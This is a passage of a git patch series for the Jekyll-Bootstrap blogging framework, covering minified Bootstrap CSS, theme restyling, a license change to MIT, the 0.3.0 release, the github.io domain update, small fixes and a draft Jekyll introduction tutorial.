0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f7f7f7;background-image:-moz-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9));background-image:-webkit-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-o-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:linear-gradient(to bottom,#f5f5f5,#f9f9f9);background-repeat:repeat-x;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fff5f5f5',endColorstr='#fff9f9f9',GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.progress .bar{float:left;width:0;height:100%;font-size:12px;color:#fff;text-align:center;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top,#149bdf,#0480be);background-image:-webkit-gradient(linear,0 0,0 100%,from(#149bdf),to(#0480be));background-image:-webkit-linear-gradient(top,#149bdf,#0480be);background-image:-o-linear-gradient(top,#149bdf,#0480be);background-image:linear-gradient(to bottom,#149bdf,#0480be);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff149bdf',endColorstr='#ff0480be',GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width .6s ease;-moz-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress .bar+.bar{-webkit-box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15);-moz-box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15);box-shadow:inset 1px 0 0 rgba(0,0,0,0.15),inset 0 -1px 0 rgba(0,0,0,0.15)}.progress-striped .bar{background-color:#149bdf;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px}.progress.active .bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-danger .bar,.progress .bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top,#ee5f5b,#c43c35);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#c43c35));background-image:-webkit-linear-gradient(top,#ee5f5b,#c43c35);background-image:-o-linear-gradient(top,#ee5f5b,#c43c35);background-image:linear-gradient(to bottom,#ee5f5b,#c43c35);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffee5f5b',endColorstr='#ffc43c35',GradientType=0)}.progress-danger.progress-striped .bar,.progress-striped .bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-success .bar,.progress .bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top,#62c462,#57a957);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#57a957));background-image:-webkit-linear-gradient(top,#62c462,#57a957);background-image:-o-linear-gradient(top,#62c462,#57a957);background-image:linear-gradient(to bottom,#62c462,#57a957);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff62c462',endColorstr='#ff57a957',GradientType=0)}.progress-success.progress-striped .bar,.progress-striped .bar-success{background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-info .bar,.progress .bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top,#5bc0de,#339bb9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#339bb9));background-image:-webkit-linear-gradient(top,#5bc0de,#339bb9);background-image:-o-linear-gradient(top,#5bc0de,#339bb9);background-image:linear-gradient(to bottom,#5bc0de,#339bb9);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff5bc0de',endColorstr='#ff339bb9',GradientType=0)}.progress-info.progress-striped .bar,.progress-striped .bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.progress-warning .bar,.progress .bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fffbb450',endColorstr='#fff89406',GradientType=0)}.progress-warning.progress-striped .bar,.progress-striped .bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,0.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,0.15)),color-stop(0.75,rgba(255,255,255,0.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,0.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.15) 50%,rgba(255,255,255,0.15) 75%,transparent 75%,transparent)}.accordion{margin-bottom:20px}.accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.accordion-heading{border-bottom:0}.accordion-heading .accordion-toggle{display:block;padding:8px 15px}.accordion-toggle{cursor:pointer}.accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5}.carousel{position:relative;margin-bottom:20px;line-height:1}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel .item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-moz-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel .item>img{display:block;line-height:1}.carousel .active,.carousel .next,.carousel .prev{display:block}.carousel .active{left:0}.carousel .next,.carousel .prev{position:absolute;top:0;width:100%}.carousel .next{left:100%}.carousel .prev{left:-100%}.carousel .next.left,.carousel .prev.right{left:0}.carousel .active.left{left:-100%}.carousel .active.right{left:100%}.carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#fff;text-align:center;background:#222;border:3px solid #fff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:.5;filter:alpha(opacity=50)}.carousel-control.right{right:15px;left:auto}.carousel-control:hover{color:#fff;text-decoration:none;opacity:.9;filter:alpha(opacity=90)}.carousel-caption{position:absolute;right:0;bottom:0;left:0;padding:15px;background:#333;background:rgba(0,0,0,0.75)}.carousel-caption h4,.carousel-caption p{line-height:20px;color:#fff}.carousel-caption h4{margin:0 0 5px}.carousel-caption p{margin-bottom:0}.hero-unit{padding:60px;margin-bottom:30px;background-color:#eee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;color:inherit}.hero-unit p{font-size:18px;font-weight:200;line-height:30px;color:inherit}.pull-right{float:right}.pull-left{float:left}.hide{display:none}.show{display:block}.invisible{visibility:hidden}.affix{position:fixed} diff --git a/assets/themes/twitter/css/style.css b/assets/themes/twitter/css/style.css index afe82a9..f61e4b5 100644 --- a/assets/themes/twitter/css/style.css +++ b/assets/themes/twitter/css/style.css @@ -1,75 +1,65 @@ -/* Override some defaults */ -html, body { - background-color: #eee; -} -.navbar { - margin-bottom: 0; -} -.container > footer { - margin-top: 20px; -} -.container > footer p { - text-align: center; /* center align it with the container */ -} +/* Custom container */ +.container-narrow { + margin: 0 auto; + max-width: 700px; } -/* The white background content wrapper */ -.content { - background-color: #fff; - padding: 20px; - margin: 0 -20px; /* negative indent the amount of the padding to maintain the grid system */ - -webkit-border-radius: 0 0 6px 6px; - -moz-border-radius: 0 0 6px 6px; - border-radius: 0 0 6px 6px; - -webkit-box-shadow: 0 1px 2px rgba(0,0,0,.15); - -moz-box-shadow: 0 1px 2px rgba(0,0,0,.15); - box-shadow: 0 1px 2px rgba(0,0,0,.15); -} +.container-narrow > hr { + margin: 30px 0; } -/* Page header tweaks */ -.page-header { - background-color: #f5f5f5; - padding: 20px 20px 10px; - margin: -20px -20px 20px; -} +.navbar .nav { + float: right; } -.topbar .btn { - border: 0; -} +/* posts index */ +.post > h3.title { + position: relative; + padding-top: 10px; } +.post > h3.title span.date { + position: absolute; + right: 0; + font-size: 0.9em; } -/* tag_box ======================================================== */ +.post > .more { + margin: 10px 0; + text-align: left; } +/* post-full*/ +.post-full .date { + margin-bottom: 20px; + font-weight: bold; } + +/* tag_box */ .tag_box { - list-style:none; - margin:0; - padding:5px 0 ; - overflow:hidden; -} + list-style: none; + margin: 0; + overflow: hidden; } + .tag_box li { - line-height:28px; -} + line-height: 28px; } + +.tag_box li i { + opacity: 0.9; } + .tag_box.inline li { - float:left; -} + float: left; } + .tag_box a { - padding: 3px 6px; - margin: 2px; - background: #eee; - color:#005F6B; - border-radius: 3px; - text-decoration:none; -} -.tag_box a span{ - vertical-align:super; - font-size:0.8em; -} + padding: 3px 6px; + margin: 2px; + background: #eee; + color: #555; + border-radius: 3px; + text-decoration: none; + border: 1px dashed #cccccc; } + +.tag_box a span { + vertical-align: super; + font-size: 0.8em; } + +.tag_box a:hover { + background-color: #e5e5e5; } + .tag_box a.active { - background:#57A957; - border:1px solid #4C964D; - color:#FFF; -} -footer p{ - text-align: center; - margin-top: 4px; -} - \ No newline at end of file + background: #57A957; + border: 1px solid #4c964d; + color: #FFF; } \ No newline at end of file From aa605b91badcea393f20572f035b18cf75bb9335 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sun, 24 Feb 2013 01:35:44 -0800 Subject: [PATCH 115/144] License should be MIT. --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b29578e..47cbfbd 100644 --- a/README.md +++ b/README.md @@ -39,4 +39,4 @@ The master and gh-pages branch do not share the same ancestry. Please treat them ## License -[Creative Commons](http://creativecommons.org/licenses/by-nc-sa/3.0/) +[MIT](http://opensource.org/licenses/MIT) From 8dc291a130e776440e1fdb43bbc56c8d0aefeb45 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sun, 24 Feb 2013 01:39:42 -0800 Subject: [PATCH 116/144] Reformat copyright notice as per advice from @allolex. Closes #78 --- _includes/themes/twitter/default.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index 25c6305..d65c66f 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -53,7 +53,7 @@ </div> <hr> <footer> - <p>© {{ site.author.name }} {{ site.time | date: '%Y' }} + <p>© {{ site.time | date: '%Y' }} {{ site.author.name }} with help from <a href="http://jekyllbootstrap.com" target="_blank" title="The Definitive Jekyll Blogging Framework">Jekyll Bootstrap</a> and <a href="http://twitter.github.com/bootstrap/" target="_blank">Twitter Bootstrap</a> </p> From 77fc4c0d57f6a08863f2b808a736fb45b307d98a Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sun, 24 Feb 2013 01:51:14 -0800 Subject: [PATCH 117/144] release 0.3.0 --- README.md | 6 +++++- Rakefile | 2 +- _config.yml | 2 +- changelog.md | 11 +++++++++++ 4 files changed, 18 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 47cbfbd..4ec78ed 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,11 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> ## Version -0.2.13 - stable and versioned using [semantic versioning](http://semver.org/). +0.3.0 - stable and versioned using [semantic versioning](http://semver.org/). + +**NOTE:** 0.3.0 introduces a new theme which is not backwards compatible in the sense it won't _look_ like the old version. +However, the actual API has not changed at all. +You might want to run 0.3.0 in a branch to make sure you are ok with the theme design changes. ## Contributing diff --git a/Rakefile b/Rakefile index f5fb140..18bc7c5 100644 --- a/Rakefile +++ b/Rakefile @@ -5,7 +5,7 @@ require 'time' SOURCE = "." CONFIG = { - 'version' => "0.2.13", + 'version' => "0.3.0", 'themes' => File.join(SOURCE, "_includes", "themes"), 'layouts' => File.join(SOURCE, "_layouts"), 'posts' => File.join(SOURCE, "_posts"), diff --git a/_config.yml b/_config.yml index 8198178..8821175 100644 --- a/_config.yml +++ b/_config.yml @@ -31,7 +31,7 @@ production_url : http://username.github.com # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : - version : 0.2.13 + version : 0.3.0 # All links will be namespaced by BASE_PATH if defined. # Links in your website should always be prefixed with {{BASE_PATH}} diff --git a/changelog.md b/changelog.md index 5cad049..7965e9d 100644 --- a/changelog.md +++ b/changelog.md @@ -5,6 +5,17 @@ Incremental version bumps that were not released publicly are nested where appro P.S. If there is a standard (popular) changelog format, please let me know. +- **0.3.0 : 2013.02.24** + - **Features** + - Update twitter bootstrap to 2.2.2. Add responsiveness and update design a bit. + - @techotaku fixes custom tagline support (finally made it in!) + - @opie4624 adds ability to set tags from the command-line. + - @lax adds support for RSS feed. Adds rss and atom html links for discovery. + - Small typo fixes. + + - **Bug Fixes** + - @xuhdev fixes theme:install bug which does not overwrite theme even if saying 'yes'. + - **0.2.13 : 2012.03.24** - **Features** - 0.2.13 : @mjpieters Updates pages_list helper to only show pages having a title. From c95468aa1eeff3933240139291cedf40fa0d8864 Mon Sep 17 00:00:00 2001 From: Pierre du Plessis <pierre@pcservice.co.za> Date: Fri, 19 Apr 2013 11:52:19 +0300 Subject: [PATCH 118/144] Update config to use new github domain --- _config.yml | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/_config.yml b/_config.yml index 8821175..4b87333 100644 --- a/_config.yml +++ b/_config.yml @@ -23,10 +23,10 @@ author : # Most places will/should use BASE_PATH to make the urls # # If you have set a CNAME (pages.github.com) set your custom domain here. -# Else if you are pushing to username.github.com, replace with your username. +# Else if you are pushing to username.github.io, replace with your username. # Finally if you are pushing to a GitHub project page, include the project name at the end. # -production_url : http://username.github.com +production_url : http://username.github.io # All Jekyll-Bootstrap specific configurations are namespaced into this hash # @@ -41,14 +41,14 @@ JB : # DO NOT SET BASE_PATH # (urls will be prefixed with "/" and work relatively) # - # GitHub Pages (http://username.github.com) + # GitHub Pages (http://username.github.io) # DO NOT SET BASE_PATH # (urls will be prefixed with "/" and work relatively) # - # GitHub Project Pages (http://username.github.com/project-name) + # GitHub Project Pages (http://username.github.io/project-name) # # A GitHub Project site exists in the `gh-pages` branch of one of your repositories. - # REQUIRED! Set BASE_PATH to: http://username.github.com/project-name + # REQUIRED! Set BASE_PATH to: http://username.github.io/project-name # # CAUTION: # - When in Localhost, your site will run from root "/" regardless of BASE_PATH From 7c748b6a57de1d1bb50fd2d3e9bcc763fa0d6fde Mon Sep 17 00:00:00 2001 From: Pierre du Plessis <pierre@pcservice.co.za> Date: Fri, 19 Apr 2013 18:52:10 +0300 Subject: [PATCH 119/144] Fix incorrect tag --- _includes/themes/twitter/post.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 304743a..2774711 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -5,7 +5,7 @@ <h1>{{ page.title }} {% if page.tagline %}<small>{{page.tagline}}</small>{% endi <div class="row-fluid post-full"> <div class="span12"> <div class="date"> - <span>{{ page.date | date_to_long_string }}</strong> + <span>{{ page.date | date_to_long_string }}</span> </div> <div class="content"> {{ content }} @@ -46,4 +46,4 @@ <h1>{{ page.title }} {% if page.tagline %}<small>{{page.tagline}}</small>{% endi <hr> {% include JB/comments %} </div> -</div> \ No newline at end of file +</div> From 7b88b02b0fd05bc8da911d92121c64221462eaef Mon Sep 17 00:00:00 2001 From: Daniel Fone <daniel@fone.net.nz> Date: Sun, 19 May 2013 23:02:53 +1200 Subject: [PATCH 120/144] Better exception handling You probably only want to rescue `ArgumentError` here, but certainly nothing more than the default `StandardError`. Rescuing `Exception` can lead to very strange behaviour. See: http://www.mikeperham.com/2012/03/03/the-perils-of-rescue-exception/ http://stackoverflow.com/a/10048406/1848 --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 18bc7c5..b62cfa8 100644 --- a/Rakefile +++ b/Rakefile @@ -49,7 +49,7 @@ task :post do slug = title.downcase.strip.gsub(' ', '-').gsub(/[^\w-]/, '') begin date = (ENV['date'] ? Time.parse(ENV['date']) : Time.now).strftime('%Y-%m-%d') - rescue Exception => e + rescue => e puts "Error - date format must be YYYY-MM-DD, please check you typed it correctly!" exit -1 end From a08b59da8d0891618084fdb9074d36d508e3f460 Mon Sep 17 00:00:00 2001 From: Marshall Shen <mshen@groupon.com> Date: Tue, 23 Jul 2013 14:26:54 -0500 Subject: [PATCH 121/144] add mission --- README.md | 33 ++++++++++++++++++++++----------- 1 file changed, 22 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 4ec78ed..c817c19 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,17 @@ The quickest way to start and publish your Jekyll powered blog. 100% compatible with GitHub pages +## Upgrade checklist +### Feature +- Add drafts: Jekyll 1.1.0 has the ability to [work with drafts](http://jekyllrb.com/docs/drafts/) +- Provide rake task to install plugins +- *Triage*: support for blog migrations, or provide documentation +- What should we do for [extra](http://jekyllrb.com/docs/extras/) + +### Documentation +### Recruitment + + ## Usage For all usage and documentation please see: <http://jekyllbootstrap.com> @@ -14,27 +25,27 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> However, the actual API has not changed at all. You might want to run 0.3.0 in a branch to make sure you are ok with the theme design changes. -## Contributing +## Contributing This repository tracks 2 projects: -- **Jekyll-Bootstrap Framework.** +- **Jekyll-Bootstrap Framework.** The framework for which users should clone and build their blog on top of is available in the master branch. - + To contribute to the framework please make sure to checkout your branch based on `jb-development`!! This is very important as it allows me to accept your pull request without having to publish a public version release. - - Small, atomic Features, bugs, etc. - Use the `jb-development` branch but note it will likely change fast as pull requests are accepted. - Please rebase as often as possible when working. + + Small, atomic Features, bugs, etc. + Use the `jb-development` branch but note it will likely change fast as pull requests are accepted. + Please rebase as often as possible when working. Work on small, atomic features/bugs to avoid upstream commits affecting/breaking your development work. - - For Big Features or major API extensions/edits: + + For Big Features or major API extensions/edits: This is the one case where I'll accept pull-requests based off the master branch. This allows you to work in isolation but it means I'll have to manually merge your work into the next public release. Translation : it might take a bit longer so please be patient! (but sincerely thank you). - -- **Jekyll-Bootstrap Documentation Website.** + +- **Jekyll-Bootstrap Documentation Website.** The documentation website at <http://jekyllbootstrap.com> is maintained in the gh-pages branch. Please fork and contribute documentation additions to this branch only. From b451b2a16dd277aefc8382361e60956c1918580c Mon Sep 17 00:00:00 2001 From: Marshall Shen <mshen@groupon.com> Date: Tue, 23 Jul 2013 21:29:55 -0500 Subject: [PATCH 122/144] add draft feature --- README.md | 11 - _drafts/jekyll-introduction-draft.md | 412 +++++++++++++++++++++++++++ 2 files changed, 412 insertions(+), 11 deletions(-) create mode 100644 _drafts/jekyll-introduction-draft.md diff --git a/README.md b/README.md index c817c19..7038606 100644 --- a/README.md +++ b/README.md @@ -2,17 +2,6 @@ The quickest way to start and publish your Jekyll powered blog. 100% compatible with GitHub pages -## Upgrade checklist -### Feature -- Add drafts: Jekyll 1.1.0 has the ability to [work with drafts](http://jekyllrb.com/docs/drafts/) -- Provide rake task to install plugins -- *Triage*: support for blog migrations, or provide documentation -- What should we do for [extra](http://jekyllrb.com/docs/extras/) - -### Documentation -### Recruitment - - ## Usage For all usage and documentation please see: <http://jekyllbootstrap.com> diff --git a/_drafts/jekyll-introduction-draft.md b/_drafts/jekyll-introduction-draft.md new file mode 100644 index 0000000..84df475 --- /dev/null +++ b/_drafts/jekyll-introduction-draft.md @@ -0,0 +1,412 @@ +--- +layout: post +category : lessons +tagline: "Supporting tagline" +tags : [intro, beginner, jekyll, tutorial] +--- +{% include JB/setup %} + +This Jekyll introduction will outline specifically what Jekyll is and why you would want to use it. +Directly following the intro we'll learn exactly _how_ Jekyll does what it does. + +## Overview + +### What is Jekyll? + +Jekyll is a parsing engine bundled as a ruby gem used to build static websites from +dynamic components such as templates, partials, liquid code, markdown, etc. Jekyll is known as "a simple, blog aware, static site generator". + +### Examples + +This website is created with Jekyll. [Other Jekyll websites](https://github.com/mojombo/jekyll/wiki/Sites). + + + +### What does Jekyll Do? + +Jekyll is a ruby gem you install on your local system. +Once there you can call `jekyll --server` on a directory and provided that directory +is setup in a way jekyll expects, it will do magic stuff like parse markdown/textile files, +compute categories, tags, permalinks, and construct your pages from layout templates and partials. + +Once parsed, Jekyll stores the result in a self-contained static `_site` folder. +The intention here is that you can serve all contents in this folder statically from a plain static web-server. + +You can think of Jekyll as a normalish dynamic blog but rather than parsing content, templates, and tags +on each request, Jekyll does this once _beforehand_ and caches the _entire website_ in a folder for serving statically. + +### Jekyll is Not Blogging Software + +**Jekyll is a parsing engine.** + +Jekyll does not come with any content nor does it have any templates or design elements. +This is a common source of confusion when getting started. +Jekyll does not come with anything you actually use or see on your website - you have to make it. + +### Why Should I Care? + +Jekyll is very minimalistic and very efficient. +The most important thing to realize about Jekyll is that it creates a static representation of your website requiring only a static web-server. +Traditional dynamic blogs like Wordpress require a database and server-side code. +Heavily trafficked dynamic blogs must employ a caching layer that ultimately performs the same job Jekyll sets out to do; serve static content. + +Therefore if you like to keep things simple and you prefer the command-line over an admin panel UI then give Jekyll a try. + +**Developers like Jekyll because we can write content like we write code:** + +- Ability to write content in markdown or textile in your favorite text-editor. +- Ability to write and preview your content via localhost. +- No internet connection required. +- Ability to publish via git. +- Ability to host your blog on a static web-server. +- Ability to host freely on GitHub Pages. +- No database required. + +# How Jekyll Works + +The following is a complete but concise outline of exactly how Jekyll works. + +Be aware that core concepts are introduced in rapid succession without code examples. +This information is not intended to specifically teach you how to do anything, rather it +is intended to give you the _full picture_ relative to what is going on in Jekyll-world. + +Learning these core concepts should help you avoid common frustrations and ultimately +help you better understand the code examples contained throughout Jekyll-Bootstrap. + + +## Initial Setup + +After [installing jekyll](/index.html#start-now) you'll need to format your website directory in a way jekyll expects. +Jekyll-bootstrap conveniently provides the base directory format. + +### The Jekyll Application Base Format + +Jekyll expects your website directory to be laid out like so: + + . + |-- _config.yml + |-- _includes + |-- _layouts + | |-- default.html + | |-- post.html + |-- _posts + | |-- 2011-10-25-open-source-is-good.markdown + | |-- 2011-04-26-hello-world.markdown + |-- _site + |-- index.html + |-- assets + |-- css + |-- style.css + |-- javascripts + + +- **\_config.yml** + Stores configuration data. + +- **\_includes** + This folder is for partial views. + +- **\_layouts** + This folder is for the main templates your content will be inserted into. + You can have different layouts for different pages or page sections. + +- **\_posts** + This folder contains your dynamic content/posts. + the naming format is required to be `@YEAR-MONTH-DATE-title.MARKUP@`. + +- **\_site** + This is where the generated site will be placed once Jekyll is done transforming it. + +- **assets** + This folder is not part of the standard jekyll structure. + The assets folder represents _any generic_ folder you happen to create in your root directory. + Directories and files not properly formatted for jekyll will be left untouched for you to serve normally. + +(read more: <https://github.com/mojombo/jekyll/wiki/Usage>) + + +### Jekyll Configuration + +Jekyll supports various configuration options that are fully outlined here: +<https://github.com/mojombo/jekyll/wiki/Configuration> + + + + +## Content in Jekyll + +Content in Jekyll is either a post or a page. +These content "objects" get inserted into one or more templates to build the final output for its respective static-page. + +### Posts and Pages + +Both posts and pages should be written in markdown, textile, or HTML and may also contain Liquid templating syntax. +Both posts and pages can have meta-data assigned on a per-page basis such as title, url path, as well as arbitrary custom meta-data. + +### Working With Posts + +**Creating a Post** +Posts are created by properly formatting a file and placing it the `_posts` folder. + +**Formatting** +A post must have a valid filename in the form `YEAR-MONTH-DATE-title.MARKUP` and be placed in the `_posts` directory. +If the data format is invalid Jekyll will not recognize the file as a post. The date and title are automatically parsed from the filename of the post file. +Additionally, each file must have [YAML Front-Matter](https://github.com/mojombo/jekyll/wiki/YAML-Front-Matter) prepended to its content. +YAML Front-Matter is a valid YAML syntax specifying meta-data for the given file. + +**Order** +Ordering is an important part of Jekyll but it is hard to specify a custom ordering strategy. +Only reverse chronological and chronological ordering is supported in Jekyll. + +Since the date is hard-coded into the filename format, to change the order, you must change the dates in the filenames. + +**Tags** +Posts can have tags associated with them as part of their meta-data. +Tags may be placed on posts by providing them in the post's YAML front matter. +You have access to the post-specific tags in the templates. These tags also get added to the sitewide collection. + +**Categories** +Posts may be categorized by providing one or more categories in the YAML front matter. +Categories offer more significance over tags in that they can be reflected in the URL path to the given post. +Note categories in Jekyll work in a specific way. +If you define more than one 